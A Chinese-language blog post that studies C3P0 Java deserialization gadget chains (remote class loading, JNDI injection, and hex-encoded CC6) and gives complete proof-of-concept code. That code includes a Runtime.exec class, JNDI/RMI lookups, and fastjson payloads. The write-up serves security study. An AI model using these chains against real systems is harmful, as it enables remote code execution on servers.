C3P0 鏈子分析學習

高人于斯發表於2024-10-18

C3P0 鏈子分析學習

概述

C3P0是一個開源的資料庫連線池,它實現了資料來源與JNDI繫結,支援JDBC3規範和實現了JDBC2的標準擴充套件說明的Connection和Statement池的DataSources物件。即將用於連線資料庫的連線整合在一起形成一個隨取隨用的資料庫連線池,使用它的開源專案有Hibernate、Spring等。

連線池:“我們在講多執行緒的時候說過,建立執行緒是一個昂貴的操作,如果有大量的小任務需要執行,並且頻繁地建立和銷燬執行緒,實際上會消耗大量的系統資源,往往建立和消耗執行緒所耗費的時間比執行任務的時間還長,所以,為了提高效率,可以用執行緒池。
類似的,在執行JDBC的增刪改查的操作時,如果每一次操作都來一次開啟連線,操作,關閉連線,那麼建立和銷燬JDBC連線的開銷就太大了。為了避免頻繁地建立和銷燬JDBC連線,我們可以透過連線池(Connection Pool)複用已經建立好的連線。”

環境搭建

新增依賴

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

Gadget

C3P0常見的利用方式有如下三種

  • URLClassLoader遠端類載入
  • JNDI注入
  • 利用HEX序列化位元組載入器進行反序列化攻擊

URLClassLoader遠端類載入

鏈子分析

就是載入遠端類進行利用

Gadget Chain:
PoolBackedDataSourceBase#readObject 
	ReferenceSerialized#getObject 
		ReferenceableUtils#referenceToObject 
			ObjectFactory#getObjectInstance

定位到 PoolBackedDataSourceBase#readObject 方法,

看到如果物件型別為 IndirectlySerialized,會呼叫其 getObject 方法,發現只有靜態類 ReferenceSerialized 繼承了 IndirectlySerialized 介面,跟進其 getObject 方法,

看見這裡初始化上下文,然後呼叫了 lookup ,那如果這裡能控制 contextName 變數就能進行 JNDI 注入,

現在就是如何控制變數o為ReferenceSerialized物件,來到 PoolBackedDataSourceBase 的writeObject 方法,

看見反序列化了 connectionPoolDataSource 物件,而該物件沒有繼承 Serializable 介面

所以在序列化的時候會進入 catch 模組,在 catch 模組會呼叫 indirector.indirectForm 處理後在進行序列化,跟進ReferenceIndirector.indirectForm 方法。

看見會返回一個 ReferenceSerialized 物件,再跟進其建構函式

這裡控制的是 reference 引數,但這裡的屬性contextName為預設null且不可控,所以不能觸發JNDI注入,

繼續跟進 ReferenceSerialized#getObject 方法,其呼叫了 ReferenceableUtils#referenceToObject 方法

其中 ref 變數是可以控制的,所以 fClassName 也可以控制,然後先是獲取上下文構造器,然後如果fClassLocation 就直接使用當前上下文構造器進行載入,反之使用URLClassLoader 進行遠端載入,而這個fClassLocation 我們同樣是可以控制的。

poc 構造

先建立個繼承了ConnectionPoolDataSource 介面和 Referenceable 的類,並且重寫介面ConnectionPoolDataSource 以及其父類 CommonDataSource 介面的方法,

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
    @Override  
    public Reference getReference() throws NamingException {  
        return new Reference("poc","poc","http://127.0.0.1:8888/");  
    }  
    @Override  
    public PooledConnection getPooledConnection() throws SQLException {  
        return null;  
    }  
    @Override  
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
        return null;  
    }  
    @Override  
    public PrintWriter getLogWriter() throws SQLException {  
        return null;  
    }  
    @Override  
    public void setLogWriter(PrintWriter out) throws SQLException {  
    }  
    @Override  
    public void setLoginTimeout(int seconds) throws SQLException {  
    }  
    @Override  
    public int getLoginTimeout() throws SQLException {  
        return 0;  
    }  
    @Override  
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
        return null;  
    }  
}

因為上面看到在序列化時需要序列化 connectionPoolDataSource 物件,才能觸發 catch 模組返回 ReferenceSerialized 物件,朔源發現其賦值的地方,是呼叫 setConnectionPoolDataSource 方法進行賦值的,

然後至於這個類是不是重寫不重要,主要是需要控制 reference 引數,所以這裡直接寫個類只需要滿足是connectionPoolDataSource 物件,然後 reference 引數改為我們控制的。

然後將其例項化,呼叫 setConnectionPoolDataSource 方法進行賦值,賦值將其序列化

public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
	//也可以反射修改connectionPoolDataSource屬性值,這裡直接呼叫方法好了
    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
    poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
      
    FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
    ObjectOutputStream oos = new ObjectOutputStream(fos);  
    oos.writeObject(poolBackedDataSourceBase);  
  
}  
  

public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
    FileInputStream fis = new FileInputStream(new File("exp.bin"));  
    ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
    objectInputStream.readObject();  
}  
  
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
    Pool_Serial();  
    Pool_Deserial();  
}

綜上,完整的 poc

package org.example;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.beans.PropertyVetoException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class C3P0 {  
    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
        @Override  
        public Reference getReference() throws NamingException {  
            return new Reference("poc","poc","http://127.0.0.1:8888/");  
        }  
        @Override  
        public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
        @Override  
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
        @Override  
        public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
        @Override  
        public void setLogWriter(PrintWriter out) throws SQLException {  
        }  
        @Override  
        public void setLoginTimeout(int seconds) throws SQLException {  
        }  
        @Override  
        public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
        @Override  
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
    public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource屬性值為我們的惡意ConnectionPoolDataSource類  
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());  
        //序列化流寫入檔案  
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("exp.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Pool_Serial();  
        Pool_Deserial();  
    }  
  
}

惡意類,poc.java

import java.io.IOException;
 
public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然後 python 服務啟動監聽,彈出計算機,

JNDI注入

鏈子分析

Gadget

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
	JndiRefForwardingDataSource#setJndiName
 
#JNDI呼叫
JndiRefConnectionPoolDataSource#setLoginTime ->
	WrapperConnectionPoolDataSource#setLoginTime ->
		JndiRefForwardingDataSource#setLoginTimeout ->
			JndiRefForwardingDataSource#inner ->
				JndiRefForwardingDataSource#dereference() ->
					Context#lookup

定位到 JndiRefConnectionPoolDataSource 類,漏洞點在其呼叫的 WrapperConnectionPoolDataSource#setLoginTimeout 函式

跟進看到再次呼叫了 setLoginTimeout 函式,

先看 getNestedDataSource() 方法,返回了 nestedDataSource 變數,

朔源發現該變數是透過 setNestedDataSource 方法進行的賦值

JndiRefConnectionPoolDataSource 類呼叫 setLoginTimeout 時。對 WrapperConnectionPoolDataSource 進行了例項化並呼叫了 setNestedDataSource 方法為 nestedDataSource 變數賦值

所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout 方法中,繼續跟進 JndiRefForwardingDataSource#setLoginTimeout 方法

這裡呼叫 inner 方法,進行跟進

跟進到 dereference() 方法,看到了 lookup 方法,並且 jndiName 我們可以控制,看上面的 gadget,可以透過函式 setJndiName 進行控制

那麼剩下的 poc 就簡單了

public class C3P02 {  
    public static void main(String[] args)throws Exception {  
  
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();  
        exp.setJndiName("rmi://localhost:1099/hello");  
        exp.setLoginTimeout(1);  
  
    }  
}

fastjson 鏈子,變一下打 ql 表示式也可以,以為兩個變數存在 setter 方法

public class C3P0 {
public static void main(String[] args) throws SQLException {
    String payload = "{" +
            "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
            "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
            "\"LoginTimeout\":0" +
            "}";
    JSON.parse(payload);
}

HEX序列化

鏈子分析

該利用鏈能夠反序列化一串十六進位制字串,因此實際利用需要有存在反序列化漏洞的元件

Gadget
#設定userOverridesAsString屬性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
 
#初始化類時反序列化十六進位制位元組流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
	C3P0ImplUtils#parseUserOverridesAsString ->
		SerializableUtils#fromByteArray ->
			SerializableUtils#deserializeFromByteArray ->
				ObjectInputStream#readObject

還是定位到 WrapperConnectionPoolDataSource 類的建構函式

跟進到 C3P0ImplUtils.parseUserOverridesAsString 方法,看到先是進行 hex 解碼為一個 byte 型別,然後呼叫了方法 fromByteArray 將其變為 map 類

跟進

看見了 readobject,到這裡這條鏈子基本就清楚了(這裡只是存在反序列,鏈子需要根據漏洞元件進行利用),利用 cc6 的鏈子來打

新增依賴

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

poc 構造

先構造出 cc6 的鏈子,去掉反序列化,

package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03 {  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
          
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
}

然後再 parseUserOverridesAsString 函式中不難看出,hexAscii 就是傳入的引數 userOverridesAsString 提取出來的。

而 userOverridesAsString 是透過 getUserOverridesAsString() 方法獲得的,

可以呼叫 setUserOverridesAsString 進行賦值,

所以構造 poc

package org.example;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03{  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
  
        InputStream in = new FileInputStream("111.bin");  
        byte[] bytein = toByteArray(in);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  
        exp.setUserOverridesAsString(Hex);  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static byte[] toByteArray(InputStream in) throws IOException {  
        byte[] classBytes;  
        classBytes = new byte[in.available()];  
        in.read(classBytes);  
        in.close();  
        return classBytes;  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
}

最後彈出計算機

fastjson poc

package org.example.serialize.c3p0;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;

public class C3P0Hex {
    public static void main(String[] args) {
        byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");
        String hex = ByteUtils.toHexAscii(exp);

        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

後面發現其實上面的 Gadget 只是後面一部分,準確的說是從 setUserOverridesAsString 開始觸發的,呼叫棧如下

所以呼叫鏈應該為:

Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
 		VetoableChangeSupport#fireVetoableChange->
 			WrapperConnectionPoolDataSource#vetoableChange->
				WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
					C3P0ImplUtils#parseUserOverridesAsString ->
						SerializableUtils#fromByteArray ->
							SerializableUtils#deserializeFromByteArray ->
								ObjectInputStream#readObject

參考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

參考:https://goodapple.top/archives/1749

參考:https://tttang.com/archive/1411/#toc_poc_1

相關文章